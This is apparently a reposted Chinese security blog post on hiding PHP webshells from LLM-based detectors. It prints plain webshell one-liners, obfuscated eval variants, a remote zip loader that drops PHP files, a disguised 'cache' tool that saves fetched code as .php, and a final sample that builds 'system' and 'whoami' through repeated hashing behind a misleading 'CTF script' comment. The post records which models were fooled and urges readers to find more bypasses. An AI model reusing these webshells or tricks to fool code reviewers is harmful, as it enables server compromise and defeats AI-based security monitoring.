前言:该示例中部分样本已失效,该内容仅用于学习、研究请勿用于非法
1、主题原称为《模型对抗-Webshell隐写之通用大模型致盲》后更改为《样本对抗-Webshell隐匿之通用大模型致幻》
2、因存在某些其它原因,部分内容进行了删改,如过程中有不理解的欢迎私信交流
3、考虑到滥用问题,样本这里就只放片段了,需要完整的可以私信找我获取
一、什么是webshell
二、通用大模型和垂直大模型的区别
三、Webshell样本优化史
3.1、普通webshell样本
3.1.1、定义
无任何混淆,变形,编码的普通webshell,以PHP举例
3.1.2、样本示例
eval($_POST['cmd']); @
system($_GET['c']);
echo shell_exec($_GET['cmd']);
3.1.3、模型分析过程
可以看到的是,三个模型(DeepSeek-R1、ChatGPT4.1、Claude3.7),均通过行为和威胁函数分析出了不同结果
3.2、变形webshell样本
3.2.1、定义
在普通样本基础上进行变形(混淆、编码等方法)
3.2.2、样本示例
$a = $_POST['command'];$b = 'e';$c = 'val';$d = $b.$c;@$d($a);
$cmd = base64_decode($_GET['cmd']);system($cmd);
$str = "ev@l$${_G$T['code']}";for($i = 0; $i < 7; $i++) { $str = str_replace(chr($i + 64), chr($i + 97), $str);}@eval($str);
3.2.3、模型分析过程
值得关注的是,我们发现通用大模型在训练时投入了一定的网络安全方面知识,所以在检测webshell上包括通用型和一定变形难度的webshell都可以检测出来。一方面意味着大模型在攻击者手中将会越来越强,通过大模型可以自动化生产更复杂的webshell相对传统规则防护会是更大难度挑战,另外一方面在大模型的webshell检测能力上对比传统规则防护大模型有着对编程语言本身对理解能力非传统规则可比相对检测理解能力更强了。
3.3、远程加载webshell
3.3.1、定义
在前面的实验中我们发现,通用大模型在根本的分析和威胁函数提取方面能力都比较强,尽管使用了混淆、编码等方式,通用大模型依旧能够进行还原,因此我们进行了更近一步的研究,该样本针对通用大模型对威胁函数的分析进行绕过,在设计中,我们通过从远程下载一个zip文件到本地,并解压到当前目录释放一个php文件从而绕过原有逻辑中检测威胁函数这一点。
3.3.2、样本示例
// 创建临时文件来保存zip
$tempZip = tempnam(sys_get_temp_dir(), 'download_');
$tempDir = sys_get_temp_dir() . '/extract_' . uniqid();
try {
// 下载文件
$fileContent = file_get_contents($url);
if($fileContent === false) {
throw new Exception('无法下载文件');
}
// 保存到临时文件
if(file_put_contents($tempZip, $fileContent) === false) {
throw new Exception('无法保存临时文件');
}
// 验证是否为有效的ZIP文件
if(!isValidZip($tempZip)) {
throw new Exception('无效的ZIP文件');
}
// 创建临时解压目录
if(!mkdir($tempDir, 0755, true)) {
throw new Exception('无法创建临时目录');
}
// 解压文件
$zip = new ZipArchive();
if($zip->open($tempZip) !== TRUE) {
throw new Exception('无法打开ZIP文件');
}
// 首先检查ZIP内容
for($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// 只允许PHP文件
if(pathinfo($filename, PATHINFO_EXTENSION) !== 'php') {
throw new Exception('ZIP文件中包含非PHP文件,已终止操作');
}
// 检查文件名是否安全
if(strpos($filename, '..') !== false) {
throw new Exception('检测到不安全的文件路径');
}
}
// 解压到临时目录
$zip->extractTo($tempDir);
$zip->close();
// 移动PHP文件到当前目录
$files = glob($tempDir . '/*.php');
foreach($files as $file) {
$basename = basename($file);
if(file_exists($basename)) {
throw new Exception("文件 {$basename} 已存在,为安全起见停止操作");
}
if(!rename($file, $basename)) {
throw new Exception("无法移动文件 {$basename}");
3.3.3、模型分析过程
值得关注的是,在三个模型得出的结果中,并没有判定该内容为webshell,而是给出了相应的风险提醒
3.4、白+黑形式绕过
3.4.1、定义
那么在上一轮的实验中,我们通过加载器的形式,远程下载一个zip文件到本地进行释放,虽然通用大模型对该行为不能推测为webshell,但是仍然给了相应的风险推理逻辑,“预判”了我们的思路,那么换个思路,通用是远程保存的方式,我们可以通过写一段正常的业务逻辑代码来给通用大模型“制幻”,在通过缓存远程的内容到本地作为.php文件保存
3.4.2、样本示例
// 处理缓存逻辑
// 设置缓存目录
$cacheDir = 'cache/';
if(!file_exists($cacheDir)) {
mkdir($cacheDir, 0777, true);
}
// 为URL创建一个唯一的文件名
$filename = $cacheDir . md5($url) . '.php';
$cacheTime = 3600; // 缓存时间1小时
// 检查缓存是否存在且未过期
if(file_exists($filename) && (time() - filemtime($filename) < $cacheTime)) {
$message = '<div class="success">使用缓存内容:' . htmlspecialchars($filename) . '</div>';
} else {
// 获取网页内容
$options = array(
'http' => array(
'method' => 'GET',
'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36rn"
)
);
$context = stream_context_create($options);
$content = @file_get_contents($url, false, $context);
if($content !== false && file_put_contents($filename, $content)) {
$message = '<div class="success">网页已成功缓存:' . htmlspecialchars($filename) . '</div>';
} else {
$message = '<div class="error">缓存失败,请检查URL是否正确或网络连接是否正常。</div>';
}
}
} else {
$message = '<div class="error">请输入有效的URL地址。</div>';
}
}
<!DOCTYPE html>
<html>
<head>
<title>网页缓存工具</title>
3.4.3、模型分析过程
在这一轮的实验中,我们发现通用大模型仍未能识别出样本为webshell,只是抛出了部分风险,值得关注的是,通用大模型在对整体源码进行分析后,告知“如果我们缓存了一个非法的内容并以.php后缀进行保存,那么仍然可能会被滥用为webshell的存储工具”。这这一段内容中,我们进一步进行分析,发现大模型根据我们的行为及缓存到本地的文件后缀判断了我们意图,那么我们可以对这一点来做进一步的绕过。
3.5、增强版白+黑形式绕过
3.5.1、定义
在通过上面的实验中我们得出结论,大模型基于危险函数、样本行为、保存内容等形式来判断我们上传的内容是否为危险样本,那根据这一结论我们可以针对性进行绕过,在上一轮的实验中,我们通过白+黑的形式从远程缓存相应的样本内容保存到本地并命名为xx.php,通用大模型在对源码进行分析后,通过缓存到后缀名分析出了我们的意图,那么根据这一特性,我们进一步在源码中进行优化,思路是对特定字符通过大量的hash计算并进行base64编码后,取出base64中某三个下标位置的内容,拼凑为我们的后缀.php来尝试进行绕过。
3.5.2、样本示例
functionhash_and_encode_loop($input_str, $iterations) {
$current_str = $input_str;
for($i = 0; $i < $iterations; $i++) {
// 计算 SHA-256 哈希(返回二进制数据)
$sha256_hash = hash('sha256', $current_str, true);
// 转换为 Base64
$current_str = base64_encode($sha256_hash);
}
return $current_str;
}
// 处理缓存逻辑
if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['url'])) {
$url = filter_var($_POST['url'], FILTER_SANITIZE_URL);
$message = '';
if(filter_var($url, FILTER_VALIDATE_URL)) {
// 设置缓存目录
$cacheDir = 'cache/';
if(!file_exists($cacheDir)) {
mkdir($cacheDir, 0777, true);
}
// 为URL创建一个唯一的文件名
// 初始字符串
$initial_string = "abc";
// 循环次数
$loop_count = 5559;
// 执行循环处理
$result = hash_and_encode_loop($initial_string, $loop_count);
$substring = substr($result, 11, 3); // 从第10位开始取3个字符
$filename = $cacheDir . md5($url) . '.' . $substring;
$cacheTime = 3600; // 缓存时间1小时
// 检查缓存是否存在且未过期
<!DOCTYPE html>
<html>
<head>
<title>网页缓存工具</title>
</body>
</html>
3.5.3、模型分析过程
在这一轮的实验中,我们成功绕过了Claude3.7和ChatGPT4.1,因为在deepseek-r1中存在深度思考,它觉得我们有可能在base64中取字符来做作为后缀,但是这种几率非常的小,只是列举了该可能性。
3.6、多层加密Webshell-通用大模型至盲
3.6.1、定义
在上面的实验中,我们通过取加密后缀名进行webshell的写入,成功绕过了通用大模型检测,证明该方法是可行的,但是正如模型所说,我们实验的样本并不能完整的定义为一个webshell,顶多为一个webshell的“通道”,那么针对这一问题,我们继续对样本进行修改,我们通过hash+base64对方法,获取到我们的system字符,再通过hash+ascii码表转换获取到“whoami”
3.6.2、样本示例
//CTF算法题脚本
// 定义第一个哈希编码函数,返回 Base64 编码结果
functionhashAndEncodeRepeatedlyBase64($input, $iterations) {
for($i = 0; $i < $iterations; $i++) {
// 计算 SHA-256 哈希
$hash = hash('sha256', $input, true); // true 参数返回原始二进制数据
// 对哈希结果进行 Base64 编码
$input = base64_encode($hash);
}
return $input;
}
// 定义第二个哈希编码函数,返回十六进制字符串结果
functionhashAndEncodeRepeatedlyHex($input, $iterations) {
for($i = 0; $i < $iterations; $i++) {
// 计算 SHA-256 哈希
$hash = hash('sha256', $input, false); // false 参数返回十六进制字符串
$input = $hash;
}
return $input;
}
// 初始字符串
$initialString = "hello";
// 第一次执行:使用 Base64 编码
$iterations1 = 104451;
$result1 = hashAndEncodeRepeatedlyBase64($initialString, $iterations1);
// 输出最终结果
echo "Final result after $iterations1 iterations:n";
echo $result1 . "n";
// 提取指定下标的字符并拼接
$indices1 = [7, 14, 30, 33, 38, 39];
$substring1 = '';
foreach($indices1 as $index) {
$substring1 .= $result1[$index];
}
echo $substring1 . "n";
// 第二次执行:使用十六进制编码
$iterations2 = 100017;
$result2 = hashAndEncodeRepeatedlyHex($initialString, $iterations2);
// 输出最终结果
echo "Final result after $iterations2 iterations:n";
echo $result2 . "n";
// 分组后的下标数组
$groupedIndices = [
[2, 25],
[42, 42, 9],
[42, 48, 25],
[42, 42, 42],
[9, 28],
[42, 48, 9],
[42, 48, 53],
[2, 25]
];
$substring2 = '';
foreach($groupedIndices as $indexGroup => $group) {
$groupString = '';
foreach($group as $index) {
$groupString .= $result2[$index];
}
$substring2 .= $groupString;
if($indexGroup < count($groupedIndices) - 1) {
$substring2 .= ',';
}
}
$asciiCodes = explode(',', $substring2);
$decodedString = '';
foreach($asciiCodes as $code) {
if(is_numeric($code)) {
$decodedString .= chr((int)$code);
}
}
$myFunction = function($str) {
echo "Hi, $str!";
};
$myFunction($substring1);
3.6.3、模型分析过程
可以看到的是,在我们三个通用模型中,均未识别出是webshell,并且明确告知为是一个CTF的加解密脚本,注意看我们样本的首行注视,在首行中我们提到了此为“CTF算法题样本”,在样本中确实也有大量加解密内容,导致大模型被致幻。
四、原理分析
在最终的实验中,我们通过致盲通用大模型,达到绕过webshell检测的效果,那这种方式的原理是什么呢?
在我们所演示的最后一个样本中,可以看到我们通过大量计算来获取我们样本的关键代码,例如:
$initialString = "hello";
$iterations1 = 104451;
$result1 = hashAndEncodeRepeatedlyBase64($initialString, $iterations1);
echo "Final result after $iterations1 iterations:n";
echo $result1 . "n";
$indices1 = [7, 14, 30, 33, 38, 39];
$substring1 = '';
foreach($indices1 as $index) {
$substring1 .= $result1[$index];
}
echo $substring1 . "n";
这里举个例子,拿最常见的魔方举例,普通的三阶魔方大家都玩过吧,通过简单的还原公式,能够成功将打乱的魔方还原,再往后的四阶、五阶魔方也只是通过复杂一点的公式,依旧能够还原(通用大模型依旧能够处理低次数的hash加密)
那如果是一个10000阶的魔方呢?又或者说是一个人一样大的魔方?那你还能轻松还原吗,那么对于我们通用大模型也一样,简单的几次加解密,通用大模型能够很快的反应并处理(DeepSeek-R1深度思考过程较长),但如果是上前次,上万次乃至更多,那通用大模型可能会显得有点力不从心,本质原理就在此,如果我们说让通用大模型进行一个10万次的加密,那么它只会丢给你一个冷冰冰的脚本甚至错答乱答。
那么在最后我们设计的两个样本中,通用大模型因无法进行如此庞大的量的计算,只能通过结合上下文内容来分析我们的意图,这便是为啥我们多次提到“致幻”,“致盲”的原因。
当然在最后给各位布置一个小任务,如果对该内容感兴趣的可以尝试一下还能否用其它一些方式类似方式绕过,目前已知方式较多,如有疑问欢迎沟通。
原文始发于微信公众号(蓝云Sec):样本对抗-Webshell隐匿之通用大模型致幻
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论